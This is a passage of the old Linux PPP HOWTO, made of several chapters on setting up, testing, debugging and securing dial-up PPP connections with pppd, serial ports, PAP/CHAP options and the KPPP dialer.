  6. Now uncompress and extract the sources using the command tar xzf linux-X.X.XX.tar.gz where "X.X.XX" is the version of the kernel you downloaded.

  7. Now, cd /usr/src/linux and read the README file. This contains an excellent explanation of how to go about configuring and compiling a new kernel. Read this file, (it's a good idea to print it out and have a copy handy whilst you are compiling until you have done this enough times to know your way around).

Prev | Home | Next
Maintaining a permanent connection to the net with pppd. |  | Knowing your hardware


Setting up the PPP connection manually

Linux PPP HOWTO
Prev Next

Chapter 17. Setting up the PPP connection manually

Now that you have created your /etc/ppp/options and /etc/resolv.conf files (and, if necessary, the /etc/ppp/pap|chap-secrets file), you can test the settings by manually establishing a PPP connection. (Once we have the manual connection working, we will automate the process).

To do this, your communications software must be capable of quitting WITHOUT resetting the modem. Minicom can do this - ALT Q (or in older version of minicom CTRL A Q)

Make sure you are logged in as root.

Fire up you communications software, (such as minicom), dial into the PPP server and log in as normal. If you need to issue a command to start up PPP on the server, do so. You will now see the garbage you saw before.

If you are using pap or chap, then merely connecting to the remote system should start ppp on the remote and you will see the garbage without logging in, (although this may not happen for some servers - try pressing Enter and see if the garbage starts up).

Now quit the communications software without resetting the modem (ALT Q or CTL A Q in minicom) and at the Linux prompt (as root) type...

pppd -d -detach /dev/ttySx 38400 &

The -d option turns on debugging - the ppp connection start up conversation will be logged to your system log - which is useful if you are having trouble.

Your modem lights should now flash as the PPP connection is established. It will take a short while for the PPP connection to be made.

At this point you can look at the PPP interface, by issuing the command:-

ifconfig

In addition to any Ethernet and loop back devices you have, you should see something like :-

ppp0     Link encap:Point-Point Protocol
         inet addr:10.144.153.104  P-t-P:10.144.153.51 Mask:255.255.255.0
         UP POINTOPOINT RUNNING  MTU:552  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0
         TX packets:0 errors:0 dropped:0 overruns:0

Where

  • inet addr:10.144.153.10 is the IP number of your end of the link.

  • P-t-P:10.144.153.5 is the SERVER's IP number.

(Naturally, ifconfig will not report these IP numbers, but the ones used by your PPP server.)

Note: ifconfig also tells you that the link is UP and RUNNING!

If you get no ppp device listed or something like:-

ppp0     Link encap:Point-Point Protocol
         inet addr:0.0.0.0  P-t-P:0.0.0.0  Mask:0.0.0.0
         POINTOPOINT  MTU:1500  Metric:1
         RX packets:0 errors:0 dropped:0 overruns:0
         TX packets:0 errors:0 dropped:0 overruns:0

Your PPP connection has not been made...see the later section on debugging!

You should also be able to see a route to the the remote host (and beyond). To do this, issue the command

route -n

You should se something like:-

Kernel routing table
Destination     Gateway         Genmask         Flags MSS    Window Use Iface
10.144.153.3    *               255.255.255.255 UH    1500   0        1 ppp0
127.0.0.0       *               255.0.0.0       U     3584   0       11 lo
10.0.0.0        *               255.0.0.0       U     1500   0       35 eth0
default         10.144.153.3    *               UG    1500   0        5 ppp0

Of particular importance here, notice we have TWO entries pointing to our ppp interface.

The first is a HOST route, (indicated by the H flag) and that allows us to see the host to which we are connected to - but no further.

The second is the default route, (established by giving pppd the option defaultroute. This is the route that tells our Linux PC to send any packets NOT destined for the local Ethernet(s) - to which we have specific network routes - to the PPP server itself. The PPP server then is responsible for routing our packets out onto the Internet and routing the return packets back to us.

If you do not see a routing table with two entries, something is wrong. In particular if your syslog shows a message telling you pppd is not replacing an existing default route, then you have a default route pointing at your Ethernet interface - which MUST be replaced by a specific network route: YOU CAN ONLY HAVE ONE DEFAULT ROUTE!!!

You will need to explore your system initialization files to find out where this default route is being set up (it will use a route add default... command). Change this command to something like route add net....

Now test the link by 'pinging' the server at its IP number as reported by the ifconfig output, i.e.

ping 10.144.153.51

You should receive output like

PING 10.144.153.51 (10.144.153.51): 56 data bytes
64 bytes from 10.144.153.51: icmp_seq=0 ttl=255 time=328.3 ms
64 bytes from 10.144.153.51: icmp_seq=1 ttl=255 time=190.5 ms
64 bytes from 10.144.153.51: icmp_seq=2 ttl=255 time=187.5 ms
64 bytes from 10.144.153.51: icmp_seq=3 ttl=255 time=170.7 ms

This listing will go on for ever - to stop it press CTRL C, at which point you will receive some more information :-

--- 10.144.153.51 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max = 170.7/219.2/328.3 ms

So far so good.

Now try pinging a host by name (not the name of the PPP server itself) but a host at another site that you KNOW is probably going to be up and running...). For example

ping sunsite.unc.edu

This time there will be a bit of a pause as Linux obtains the IP number for the fully qualified host name you have 'ping'ed from the DNS you specified in /etc/resolv.conf - so don't worry (but you will see your modem lights flash). Shortly you will receive output like

 PING sunsite.unc.edu (152.2.254.81): 56 data bytes
64 bytes from 152.2.254.81: icmp_seq=0 ttl=254 time=190.1 ms
64 bytes from 152.2.254.81: icmp_seq=1 ttl=254 time=180.6 ms
64 bytes from 152.2.254.81: icmp_seq=2 ttl=254 time=169.8 ms
64 bytes from 152.2.254.81: icmp_seq=3 ttl=254 time=170.6 ms
64 bytes from 152.2.254.81: icmp_seq=4 ttl=254 time=170.6 ms

Again, stop the output by pressing CTRL C and get the statistics...

--- sunsite.unc.edu ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 169.8/176.3/190.1 ms

If you don't get any response, try pinging the IP address of the DNS server at your ISP's site. If you get a result from this, then it looks like you have a problem with /etc/resolv.conf.

If this doesn't work, you have a routing problem, or your ISP has a problem routing packets back to you. Check your routing table as shown above and if that is OK, contact your ISP. A good test of the ISP is to use another operating system to connect. If you can get beyond your ISP with that, then the problem is at your end.

If everything works, shut down the connection by typing:-

ppp-off

After a short pause, the modem should hang itself up.

If that does not work, either turn off your modem or fire up your communications software and interrupt the modem with +++ and then hang up with ATH0 when you receive the modem's OK prompt.

You may also need to clean up the lock file created by pppd.
rm -f /var/lock/LCK..ttySx

Prev | Home | Next
Handling multiple PAP-authenticated connections |  | Automating your connections - Creating the connection scripts


Configuring your modem and serial port

Linux PPP HOWTO
Prev Next

Chapter 12. Configuring your modem and serial port

Table of Contents
12.1. A note about serial ports and speed capabilities
12.2. Serial Port Names
12.3. Configuring your modem
12.4. Note on Serial Flow Control
12.5. Testing your modem for dial out

You should make sure that your modem is correctly set up and that you know which serial port it is connected to.

Remember...

  • DOS com1: = Linux /dev/cua0 (and /dev/ttyS0)

  • DOS com2: = Linux /dev/cua1 (and /dev/ttyS1) et cetera

It is also worth remembering that if you have 4 serial ports, the standard PC set up is to have com1 and com3 share IRQ4 and com2 and com4 share IRQ3.

If you have devices on standard serial ports that share an IRQ with your modem you are going to have problems. You need to make sure that your modem serial port is on its own, unique IRQ. Many modern serial cards (and better quality motherboard serial ports) allow you to move the IRQ of the serial ports around.

If you are running Linux kernel 2, you can check the in-use IRQs using cat /proc/interrupts, which will produce output like
 0:    6766283   timer
 1:      91545   keyboard
 2:          0   cascade
 4:     156944 + serial
 7:     101764   WD8013
10:     134365 + BusLogic BT-958
13:          1   math error
15:    3671702 + serial

This shows a serial port on IRQ4 (a mouse) and a serial port on IRQ15 (the permanent modem based PPP link to the Internet. (There is also a serial port on com2, IRQ3 and com4 is on IRQ14, but as they are not in use, they do not show up).

Be warned - you need to know what you are doing if you are going to play with your IRQs! Not only do you have to open up you computer, pull out cards and play with jumpers, but you need to know what is on which IRQ. In my case, this is a totally SCSI based PC, and so I can disable the "on motherboard" IDE interfaces that normally use IRQ14 and 15!

You should also remember that if your PC boots other operating systems, moving IRQs around may well mean that OS cannot boot properly - or at all!

If you do move your serial ports to non-standard IRQs, then you need to tell Linux which IRQ each port is using. This is done using " setserial" and is best done as part of the boot process in rc.local or rc.serial which is called from rc.local or as part of the SysV initialization. For the machine illustrated above, the commands used are...
/bin/setserial -b /dev/ttyS2 IRQ 11
/bin/setserial -b /dev/ttyS3 IRQ 15

However, if you are using serial modules dynamically loaded, when required by the kerneld process, you cannot set and forget the IRQs, (etc.) once at boot time. This is because if the serial module is unloaded, Linux forgets the special settings.

So, if you are loading the serial module on demand, you will need to reconfigure the IRQs, (etc.) each time the module is loaded.

12.1. A note about serial ports and speed capabilities

If you are using a high speed (external) modem (14,400 Baud or above), your serial port needs to be capable of handling the throughput that such a modem is capable of producing, particularly when the modems are compressing the data.

This requires your serial port to use a modern UART (Universal Asynchronous Receiver Transmitter) such as a 16550(A). If you are using an old machine (or old serial card), it is quite possible that your serial port has only an 8250 UART, which will cause you considerable problems when used with a high speed modem.

Use the command...
setserial -a /dev/ttySx

to get Linux to report to you the type of UART you have. If you do not have a 16550A type UART, invest in a new serial card (available for under $50). When you purchase a new card, make sure you can move the IRQs around on it!

Note: the first versions of the 16550 UART chip had an error. This was rapidly discovered and a revision of the chip was released - the 16550A UART. A relatively small number of the faulty chips did however get into circulation. It is unlikely that you will encounter one of these but you should look for a response that says 16550A, particularly on serial cards of some vintage.

Prev | Home | Next
Getting the Information you need about the PPP server |  | Serial Port Names


Shutting down the PPP link

Linux PPP HOWTO
Prev Next

Chapter 20. Shutting down the PPP link

When you have finished with the PPP link, use the standard ppp-off command to shut it down (remember - you need to be root or a member of the PPP group!).

In your system log you will see something like:-

Oct 21 16:10:45 hwin pppd[19873]: Interrupt received: terminating link
Oct 21 16:10:45 hwin pppd[19873]: ipcp: down
Oct 21 16:10:45 hwin pppd[19873]: default route ioctl(SIOCDELRT): Bad address
Oct 21 16:10:45 hwin pppd[19873]: fsm_sdata(LCP): Sent code 5, id 2.
Oct 21 16:10:46 hwin pppd[19873]: fsm_rtermack(LCP).
Oct 21 16:10:46 hwin pppd[19873]: Connection terminated.
Oct 21 16:10:46 hwin pppd[19873]: Exit.

Don't worry about the SIOCDELRT - this is just pppd noting that it is terminating and is nothing to worry about.

Prev | Home | Next
Testing your connection script |  | Getting Help when totally stuck


Setting up the PPP connection files

Linux PPP HOWTO
Prev Next

Chapter 15. Setting up the PPP connection files

Table of Contents
15.1. The supplied options.tpl file
15.2. What options should I use? (No PAP/CHAP)
15.3. Other options to consider adding

You now need to be logged in as root to create the directories and edit the files needed to set up PPP, even if you want PPP to be accessible to all users.

PPP uses a number of files to connect and set up a PPP connection. These differ in name and location between PPP 2.1.2 and 2.2+.

For PPP 2.1.2 the files are:-

/usr/sbin/pppd		# the PPP binary
/usr/sbin/ppp-on	# the dialer/connection script
/usr/sbin/ppp-off	# the disconnection script
/etc/ppp/options	# the options pppd uses for all connections
/etc/ppp/options.ttyXX	# the options specific to a connection on this port

For PPP 2.2 the files are:-

/usr/sbin/pppd			# the PPP binary
/etc/ppp/scripts/ppp-on		# the dialer/connection script
/etc/ppp/scripts/ppp-on-dialer	# part 1 of the dialer script
/etc/ppp/scripts/ppp-off	# the actual chat script itself
/etc/ppp/options		# the options pppd uses for all connections
/etc/ppp/options.ttyXX		# the options specific to a connection on this port

Red Hat Linux users should note that the standard Red Hat 4.X installation places these scripts in /usr/doc/ppp-2.2.0f-2/scripts.

In your /etc directory there should be a ppp directory:-

drwxrwxr-x   2 root     root         1024 Oct  9 11:01 ppp

If it does not exist - create it with these ownerships and permissions.

If the directory already existed, it should contain a template options file called options.tpl. This file is included below in case it does not.

Print it out as it contains an explanation of nearly all the PPP options (these are useful to read in conjunction with the pppd man pages). Whilst you can use this file as the basis of your /etc/ppp/options file, it is probably better to create your own options file that does not include all the comments in the template - it will be much shorter and easier to read/maintain.

If you have multiple serial lines/modems, (typically the case for PPP servers), create a general /etc/ppp/options file containing the options that are common for all the serial ports on which you are supporting dial in/out and set up individual option files for each serial line on which you will be establishing a PPP connection with the individual settings required for each port.

These port specific option files are named options.ttyx1, options.ttyx2 and so forth (where x is the appropriate letter for your serial ports).

However, for a single PPP connection, you can happily use the /etc/ppp/options file. Alternatively, you can put all the options as arguments in the pppd command itself.

It is easier to maintain a setup that uses /etc/ppp/options.ttySx files. If you use PPP to connect to a number of different sites, you can create option files for each site in /etc/ppp/options.site and then specify the option file as a parameter to the PPP command as you connect (using the file option-file pppd option to pppd on the command line).

15.1. The supplied options.tpl file

Some distributions of PPP seem to have lost the options.tpl file, so here is the complete file. I suggest that you do NOT edit this file to create your /etc/ppp/options file(s). Rather, copy this to a new file and then edit that. If you mess up your edits, you can then go back to the original and start again.

# /etc/ppp/options -*- sh -*- general options for pppd
# created 13-Jul-1995 jmk
# autodate: 01-Aug-1995
# autotime: 19:45

# Use the executable or shell command specified to set up the serial
# line.  This script would typically use the "chat" program to dial the
# modem and start the remote ppp session.
#connect "echo You need to install a connect command."

# Run the executable or shell command specified after pppd has
# terminated the link.  This script could, for example, issue commands
# to the modem to cause it to hang up if hardware modem control signals
# were not available.
#disconnect "chat -- \d+++\d\c OK ath0 OK"

# async character map -- 32-bit hex; each bit is a character
# that needs to be escaped for pppd to receive it.  0x00000001
# represents '\x01', and 0x80000000 represents '\x1f'.
#asyncmap 0

# Require the peer to authenticate itself before allowing network
# packets to be sent or received.
#auth

# Use hardware flow control (i.e. RTS/CTS) to control the flow of data
# on the serial port.
#crtscts

# Use software flow control (i.e. XON/XOFF) to control the flow of data
# on the serial port.
#xonxoff

# Add a default route to the system routing tables, using the peer as
# the gateway, when IPCP negotiation is successfully completed.  This
# entry is removed when the PPP connection is broken.
#defaultroute

# Specifies that certain characters should be escaped on transmission
# (regardless of whether the peer requests them to be escaped with its
# async control character map).  The characters to be escaped are
# specified as a list of hex numbers separated by commas.  Note that
# almost any character can be specified for the escape option, unlike
# the asyncmap option which only allows control characters to be
# specified.  The characters which may not be escaped are those with hex
# values 0x20 - 0x3f or 0x5e.
#escape 11,13,ff

# Don't use the modem control lines.
#local

# Specifies that pppd should use a UUCP-style lock on the serial device
# to ensure exclusive access to the device.
#lock

# Use the modem control lines.  On Ultrix, this option implies hardware
# flow control, as for the crtscts option.  (This option is not fully
# implemented.)
#modem

# Set the MRU [Maximum Receive Unit] value to <n> for negotiation.  pppd
# will ask the peer to send packets of no more than <n> bytes. The
# minimum MRU value is 128.  The default MRU value is 1500.  A value of
# 296 is recommended for slow links (40 bytes for TCP/IP header + 256
# bytes of data).
#mru 542

# Set the interface netmask to <n>, a 32 bit netmask in "decimal dot"
# notation (e.g. 255.255.255.0).
#netmask 255.255.255.0

# Disables the default behaviour when no local IP address is specified,
# which is to determine (if possible) the local IP address from the
# hostname. With this option, the peer will have to supply the local IP
# address during IPCP negotiation (unless it specified explicitly on the
# command line or in an options file).
#noipdefault

# Enables the "passive" option in the LCP.  With this option, pppd will
# attempt to initiate a connection; if no reply is received from the
# peer, pppd will then just wait passively for a valid LCP packet from
# the peer (instead of exiting, as it does without this option).
#passive

# With this option, pppd will not transmit LCP packets to initiate a
# connection until a valid LCP packet is received from the peer (as for
# the "passive" option with old versions of pppd).
#silent

# Don't request or allow negotiation of any options for LCP and IPCP
# (use default values).
#-all

# Disable Address/Control compression negotiation (use default, i.e.
# address/control field disabled).
#-ac

# Disable asyncmap negotiation (use the default asyncmap, i.e. escape
# all control characters).
#-am

# Don't fork to become a background process (otherwise pppd will do so
# if a serial device is specified).
#-detach

# Disable IP address negotiation (with this option, the remote IP
# address must be specified with an option on the command line or in an
# options file).
#-ip

# Disable magic number negotiation.  With this option, pppd cannot
# detect a looped-back line.
#-mn

# Disable MRU [Maximum Receive Unit] negotiation (use default, i.e.
# 1500).
#-mru

# Disable protocol field compression negotiation (use default, i.e.
# protocol field compression disabled).
#-pc

# Require the peer to authenticate itself using PAP.
# This requires TWO WAY authentication - do NOT use this for a standard
# PAP authenticated link to an ISP as this will require the ISP machine
# to authenticate itself to your machine (and it will not be able to).
#+pap

# Don't agree to authenticate using PAP.
#-pap

# Require the peer to authenticate itself using CHAP [Cryptographic
# Handshake Authentication Protocol] authentication.
# This requires TWO WAY authentication - do NOT use this for a standard
# CHAP authenticated link to an ISP as this will require the ISP machine
# to authenticate itself to your machine (and it will not be able to).
#+chap

# Don't agree to authenticate using CHAP.
#-chap

# Disable negotiation of Van Jacobson style IP header compression (use
# default, i.e. no compression).
#-vj

# Increase debugging level (same as -d).  If this option is given, pppd
# will log the contents of all control packets sent or received in a
# readable form.  The packets are logged through syslog with facility
# daemon and level debug. This information can be directed to a file by
# setting up /etc/syslog.conf appropriately (see syslog.conf(5)).  (If
# pppd is compiled with extra debugging enabled, it will log messages
# using facility local2 instead of daemon).
#debug

# Append the domain name <d> to the local host name for authentication
# purposes.  For example, if gethostname() returns the name porsche,
# but the fully qualified domain name is porsche.Quotron.COM, you would
# use the domain option to set the domain name to Quotron.COM.
#domain <d>

# Enable debugging code in the kernel-level PPP driver.  The argument n
# is a number which is the sum of the following values: 1 to enable
# general debug messages, 2 to request that the contents of received
# packets be printed, and 4 to request that the contents of transmitted
# packets be printed.
#kdebug n

# Set the MTU [Maximum Transmit Unit] value to <n>. Unless the peer
# requests a smaller value via MRU negotiation, pppd will request that
# the kernel networking code send data packets of no more than n bytes
# through the PPP network interface.
#mtu <n>

# Set the name of the local system for authentication purposes to <n>.
# This will probably have to be set to your ISP user name if you are
# using PAP/CHAP.
#name <n>

# Set the user name to use for authenticating this machine with the peer
# using PAP to <u>.
# Do NOT use this if you are using 'name' above!
#user <u>

# Enforce the use of the host name as the name of the local system for
# authentication purposes (overrides the name option).
#usehostname

# Set the assumed name of the remote system for authentication purposes
# to <n>.
#remotename <n>

# Add an entry to this system's ARP [Address Resolution Protocol]
# table with the IP address of the peer and the Ethernet address of this
# system.
#proxyarp

# Use the system password database for authenticating the peer using
# PAP.
#login

# If this option is given, pppd will send an LCP echo-request frame to
# the peer every n seconds. Under Linux, the echo-request is sent when
# no packets have been received from the peer for n seconds. Normally
# the peer should respond to the echo-request by sending an echo-reply.
# This option can be used with the lcp-echo-failure option to detect
# that the peer is no longer connected.
#lcp-echo-interval <n>

# If this option is given, pppd will presume the peer to be dead if n
# LCP echo-requests are sent without receiving a valid LCP echo-reply.
# If this happens, pppd will terminate the connection.  Use of this
# option requires a non-zero value for the lcp-echo-interval parameter.
# This option can be used to enable pppd to terminate after the physical
# connection has been broken (e.g., the modem has hung up) in
# situations where no hardware modem control lines are available.
#lcp-echo-failure <n>

# Set the LCP restart interval (retransmission timeout) to <n> seconds
# (default 3).
#lcp-restart <n>

# Set the maximum number of LCP terminate-request transmissions to <n>
# (default 3).
#lcp-max-terminate <n>

# Set the maximum number of LCP configure-request transmissions to <n>
# (default 10).
# Some PPP servers are slow to start up. You may need to increase this
# if you keep getting 'serial line looped back' errors and your are SURE
# that you have logged in correctly and PPP should be starting on the server.
#lcp-max-configure <n>

# Set the maximum number of LCP configure-NAKs returned before starting
# to send configure-Rejects instead to <n> (default 10).
#lcp-max-failure <n>

# Set the IPCP restart interval (retransmission timeout) to <n>
# seconds (default 3).
#ipcp-restart <n>

# Set the maximum number of IPCP terminate-request transmissions to <n>
# (default 3).
#ipcp-max-terminate <n>

# Set the maximum number of IPCP configure-request transmissions to <n>
# (default 10).
#ipcp-max-configure <n>

# Set the maximum number of IPCP configure-NAKs returned before starting
# to send configure-Rejects instead to <n> (default 10).
#ipcp-max-failure <n>

# Set the PAP restart interval (retransmission timeout) to <n> seconds
# (default 3).
#pap-restart <n>

# Set the maximum number of PAP authenticate-request transmissions to
# <n> (default 10).
#pap-max-authreq <n>

# Set the CHAP restart interval (retransmission timeout for
# challenges) to <n> seconds (default 3).
#chap-restart <n>

# Set the maximum number of CHAP challenge transmissions to <n>
# (default 10).
#chap-max-challenge

# If this option is given, pppd will re-challenge the peer every <n>
# seconds.
#chap-interval <n>

# With this option, pppd will accept the peer's idea of our local IP
# address, even if the local IP address was specified in an option.
#ipcp-accept-local

# With this option, pppd will accept the peer's idea of its (remote) IP
# address, even if the remote IP address was specified in an option.
#ipcp-accept-remote

Prev | Home | Next
Using PPP and root privileges |  | What options should I use? (No PAP/CHAP)


If your PPP server uses PAP (Password Authentication Protocol)

Linux PPP HOWTO
Prev Next

Chapter 16. If your PPP server uses PAP (Password Authentication Protocol)

Table of Contents
16.1. Using MSCHAP
16.2. The PAP/CHAP secrets file
16.3. The PAP secrets file
16.4. The CHAP secrets file
16.5. Handling multiple PAP-authenticated connections

If the server to which you are connecting requires PAP or CHAP authentication, you have a little bit more work.

To the above options file, add the following lines
#
# force pppd to use your ISP user name as your 'host name' during the
# authentication process
name <your ISP user name>	# you need to edit this line
#
# If you are running a PPP *server* and need to force PAP or CHAP
# uncomment the appropriate one of the following lines. Do NOT use
# these is you are a client connecting to a PPP server (even if it uses PAP
# or CHAP) as this tells the SERVER to authenticate itself to your
# machine (which almost certainly can't do - and the link will fail).
#+chap
#+pap
#
# If you are using ENCRYPTED secrets in the /etc/ppp/pap-secrets
# file, then uncomment the following line.
# Note: this is NOT the same as using MS encrypted passwords as can be
# set up in MS RAS on Windows NT.
#+papcrypt

16.1. Using MSCHAP

Microsoft Windows NT RAS can be set up to use a variation on CHAP (Challenge/Handshake Authentication Protocol). In your PPP sources tar ball, you will find a file called README.MSCHAP80 that discusses this.

You can determine if the server is requesting authentication using this protocol by enabling debugging for pppd. If the server is requesting MS CHAP authentication, you will see lines like:-

rcvd [LCP ConfReq id=0x2 <asyncmap 0x0> <auth chap 80> <magic 0x46a3>]

The critical information here is auth chap 80.

In order to use MS CHAP, you will need to recompile pppd to support this. Please see the instructions in the README.MSCHAP80 file in the PPP source file for instructions on how to compile and use this variation.

You should note that at present this code supports only Linux PPP clients connecting to an MS Windows NT server. It does NOT support setting up a Linux PPP server to use MSCHAP80 authentication from clients.

Prev | Home | Next
Other options to consider adding |  | The PAP/CHAP secrets file


Setting up a PPP server

Linux PPP HOWTO
Prev Next

Chapter 28. Setting up a PPP server

Table of Contents
28.1. Kernel compilation
28.2. Overview of the server system
28.3. Getting the software together
28.4. Setting up standard (shell access) dialup.
28.5. Setting up the PPP options files
28.6. Setting pppd up to allow users to (successfully) run it
28.7. Setting up the global alias for pppd

As already mentioned, there are many ways to do this. What I present here is the way I do it, (using a Cyclades multi-port serial card), and a rotary dial in set of telephone lines.

If you don't like the method I present here, please feel free to go your own way. I would however, be pleased to include additional methods in future versions of the HOWTO. So, please send me your comments and methods!

Please note, this section only concerns setting up Linux as a PPP server. I do not (ever) intend to include information on setting up special terminal servers and such.

Also, I have yet to experiment with shadow passwords (but will be doing so sometime). Information currently presented does NOT therefore include any bells and whistles that are required by the shadow suite.

28.1. Kernel compilation

All the earlier comments regarding kernel compilation and kernel versions versus pppd versions apply. This section assumes that you have read the earlier sections of this document!

For a PPP server, you MUST include IP forwarding in your kernel. You may also wish to include other capabilities (such as IP fire walls, accounting etc etc).

If you are using a multi-port serial card, then you must obviously include the necessary drivers in your kernel too!

Prev | Home | Next
Routing issues on a LAN |  | Overview of the server system


Debugging

Linux PPP HOWTO
Prev Next

Chapter 8. Debugging

Table of Contents
8.1. I have compiled PPP support into the kernel, but...
8.1.1. Are you booting the right kernel?
8.1.2. Did you compile ppp kernel support as a module?
8.1.3. Are you using the correct version of PPP for your kernel?
8.1.4. Are you running pppd as root?
8.2. My modem connects but ppp never starts up
8.3. The syslog says "serial line is not 8 bit clean"
8.3.1. You are not correctly logging into the server
8.3.2. You are not starting PPP on the server
8.3.3. The remote PPP process is slow to start
8.4. Default route not set
8.5. Other Problems

There are any number of reasons that your connection does not work - chat has failed to complete correctly, you have a dirty line, etc. So check your syslog for indications.

8.1. I have compiled PPP support into the kernel, but...

A very common problem is that people compile PPP support into the kernel and yet when they try to run pppd, the kernel complains that it does not support ppp! There are a variety of reasons this can occur.

8.1.1. Are you booting the right kernel?

Whilst you have recompiled your kernel to support ppp, you are not booting the new kernel. This can happen if you do not update /etc/lilo.conf and rerun lilo.

A good check on the kernel can be obtained by issuing the command uname -a, which should produce a line like:-

Linux archenland 2.0.28 #2 Thu Feb 13 12:31:37 EST 1997 i586

This gives the kernel version and the date on which this kernel was compiled - which should give you a pretty good idea of what is going on.

8.1.2. Did you compile ppp kernel support as a module?

If you compiled your kernel ppp support as a module, but did not make and install the modules, then you can get this error. Check the kernel-HOWTO and the README file in /usr/src/linux!

Another module connected possibility is that you are expecting required modules to be automatically loaded, but are not running the kerneld daemon (which auto-loads and unloads modules on the fly). Check the kerneld mini-HOWTO for information on setting up kerneld.

8.1.3. Are you using the correct version of PPP for your kernel?

You must use ppp-2.2 with kernel version 2.0.x. You can use ppp-2.2 with kernel version 1.2.x (if you patch the kernel), otherwise you must use ppp-2.1.2.

8.1.4. Are you running pppd as root?

If you are not running pppd as the root user (and pppd is not suid to root), you can receive this message.

Prev | Home | Next
Linuxconf - Universal (almost) Linux PPP dialer |  | My modem connects but ppp never starts up


Using PPP and root privileges

Linux PPP HOWTO
Prev Next

Chapter 14. Using PPP and root privileges

Because PPP needs to set up networking devices, change the kernel routing table and so forth, it requires root privileges to do this.

If users other than root are to set up PPP connections, the pppd program should be setuid root :-

-rwsr-xr-x   1 root     root        95225 Jul 11 00:27 /usr/sbin/pppd

If /usr/sbin/pppd is not set up this way, then as root issue the command:-

chmod u+s /usr/sbin/pppd

What this does is make pppd run with root privileges even if the binary is run by an ordinary user. This allows a normal user to run pppd with the necessary privileges to set up the network interfaces and the kernel routing table.

Programs that run 'set uid root' are potential security holes and you should be extremely cautious about making programs 'suid root'. A number of programs (including pppd) have been carefully written to minimise the danger of running suid root, so you should be safe with this one, (but no guarantees).

Depending on how you want your system to operate - specifically if you want ANY user on your system to be able to initiate a PPP link, you should make your ppp-on/off scripts world read/execute. (This is probably fine if your PC is used ONLY by you).

However, if you do NOT want just anyone to be able to start up a PPP connection (for example, your children have accounts on your Linux PC and you do not want them hooking into the Internet without your supervision), you will need to establish a PPP group (as root, edit /etc/group) and :-

  • Make pppd suid root, owned by user root and group PPP, with the 'other' permissions on this file empty. It should then look like:-
    -rwsr-x---   1 root     PPP        95225 Jul 11 00:27 /usr/sbin/pppd

  • Make the ppp-on/off scripts owned by user root and group PPP.

  • Make the ppp-on/off scripts read/executable by group PPP.
      -rwxr-x---   1 root     PPP           587 Mar 14  1995 /usr/sbin/ppp-on
  -rwxr-x---   1 root     PPP           631 Mar 14  1995 /usr/sbin/ppp-off

  • Make the other access rights for ppp-on/off nill.

  • add the users who will be firing up PPP to the PPP group in /etc/group.

Even if you do this, ordinary users will STILL not be able to shut down the link under software control! Running the ppp-off script requires root privileges. However, any user can just turn off the modem (or disconnect the telephone line from an internal modem).

An alternative (and better method) to this set up is to use the sudo program. This offers superior security and will allow you to set things up so that any (authorised) user can activate/deactivate the link using the scripts. Using sudo will allow an authorised user to activate/deactivate the PPP link cleanly and securely.

Prev | Home | Next
The /etc/host.conf file |  | Setting up the PPP connection files


Getting the Information you need about the PPP server

Linux PPP HOWTO
Prev Next

Chapter 11. Getting the Information you need about the PPP server

Before you can establish a PPP connection with a server, you need to obtain the following information (from the sysadmin/user support people of the PPP server):-

  • The telephone number(s) to dial for the service If you are behind a PABX. You also need the PABX number that gives you an outside dial tone - this is frequently digit zero (0) or nine (9).

  • Does the server use DYNAMIC or STATIC IP numbers? If the server uses STATIC IP numbers, then you may need to know what IP number to use for your end of the PPP connection. If your ISP is providing you with a subnet of valid IP numbers, you will need to know the IP numbers you can use and the network mask (netmask). Most Internet Service Providers use DYNAMIC IP numbers. As mentioned above, this has some implications in terms of the services you can use. However, even if you are using STATIC IP numbers, most PPP servers will never (for security reasons) allow the client to specify an IP number as this is a security risk. You do still need to know this information!

  • What are the IP numbers of the ISPs Domain Name Servers? There should be at least two, although only one is needed. There could be a problem here. The MS Windows 95 PPP setup allows the DNS address to be passed to the client as part of its connection process. So your ISP (or corporate help desk) may well tell you you don't need the IP address of the DNS server(s). For Linux, you DO need the address of at least one DNS. The linux implementation of PPP does not allow the setting of the DNS IP number dynamically at connection time - and quite possibly will never do so. Note: whilst Linux (as a PPP client) cannot accept the DNS address from a server, it can, when acting as a server, pass this information to clients using the dns-addr pppd option.

  • Does the server require the use of PAP/CHAP? If this is the case you need to know the "id" and "secret" you are to use in connecting. (These are probably your user name and password at your ISP).

  • Does the server automatically start PPP, or do you need to issue any commands to start PPP on the server once you are logged in? If you must issue a command to start PPP, what is it?

  • Is the server a Microsoft Windows NT system and, if so, is it using the MS PAP/CHAP system? Many corporate LANs seem to use MS Windows NT this way for increased security.

Carefully note down this information - you are going to use it!

Prev | Home | Next
General kernel config considerations for PPP |  | Configuring your modem and serial port


Easy Configuration Utilities for PPP

Linux PPP HOWTO
Prev Next

Chapter 7. Easy Configuration Utilities for PPP

Table of Contents
7.1. KPPP - The KDE PPP Dialer
7.2. WvDial - A command-line pppd driver
7.3. rp3 - RedHat PPP dialer
7.4. Linuxconf - Universal (almost) Linux PPP dialer

7.1. KPPP - The KDE PPP Dialer

http://devel-home.kde.org/~kppp/index.html

KPPP is an easy tool for configuring your PPP links. It comes with the default installation of KDE, and is quite well integrated into that environment.

KPPP also has a good help system built in. If you just right click on the majority of the buttons in the application, a menu will pop up with an item called "Quickhelp". Clicking it will give a quick summary of whatever item you clicked on.

The opening screen of kppp will list any available connections, and allow you to specify a Login ID and password for the connection. There is also a "Show Log Window" option. Selecting this will show a log window. This can be handy if you are trying to debug a connection.

For now, click on the "Setup" button. This will bring up the setup window. It has a series of tabs across the top. Select the one called "Accounts". There will be a list of Accounts, if any.

Select "New" from the right hand side. Another menu will pop up.

First, specify a name for this connection in the "Connection Name" box. A good name would be the name of your ISP. Then enter the phone number. Select the type of authentication. If your ISP hasn't specified otherwise, leave it as "PAP". You can optionally store your password between sessions, but this may be a security risk.

Click on the tab marked "IP". Here you have the option to configure your IP address, either a Dynamic or Static address. You should know what kind you want, specified by your ISP. You can also optionally specify that you wish to configure the hostname for this IP, which means that kppp will name your machine according to the name given to it by your ISP.

Click on the tab marked "DNS". Here you can set up DNS. Fill in the appropriate fields with the information supplied from your ISP.

Click on the "Gateway" tab. Here you can configure your gateway, or router address. If a gateway or router address was specified by your ISP, select "Static Gateway" and enter it in the box below. Otherwise leave this alone. The box marked "Assign the Default Route" should be checked.

